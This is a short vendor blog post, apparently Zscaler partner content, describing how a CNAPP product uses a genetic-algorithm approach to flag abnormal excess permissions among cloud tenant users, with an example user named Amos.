One of the problems we've seen most frequently, and one that's difficult to track and catch, is extra permissions being granted to many users within a tenant. In these cases, most permissions are unused, and attackers can take advantage. A CNAPP solution can detect abnormal permissions of identities within a tenant using specific machine learning methodologies.

Our definition for "abnormal" is simple: actionable + most risky = abnormal. For instance, when users in a given group each have more or less the same set of permissions in an environment, but one user has extra permissions in another environment, we consider the extra permissions abnormal.

In case of outliers over data that consists of a large number of features, the native machine learning models would usually be PCA, DBSCAN, LOF, or Isolation Forest. However, we discovered that the perfect model is a _genetic algorithm_. Genetic algorithms aim to detect mutations within a series of genes.

How exactly do we do that? Let’s have a look at a specific example.

    

In the table above, we can see that Amos has some extra permission in the production environment, which we consider abnormal. Let's now convert that graph to a DNA vector (DNA assignment).

    

We see here that Amos has mutations. The goal is to search for close communities that have extra important permissions—only then may it be considered an anomaly. Also, if the communities are far from each other, it's not necessarily anomalous.

    

After more in-depth ML calculations to eliminate false positives, you'll end up with a genetic algorithm that can help detect outliers with abnormal permissions. It's fast, simple, and effective. Trying to perform this kind of analysis with a legacy approach would require a massive manual effort to first understand the business impact of each permission, and then detect the excessive permissions. On the other hand, an ML-based approach suggests a self-learning method without the need to understand each and every permission, helping to expedite the process.

With cloud threats constantly evolving, machine/deep-learning detection-based methods are going to become a necessity when evaluating CNAPP solutions. Don't wait for that next drift to activate a chain of catastrophic events—get ahead of the curve of detecting your next breach with the power of machine learning.

_Read more_ _Partner Perspectives from Zscaler._

Tag

#mac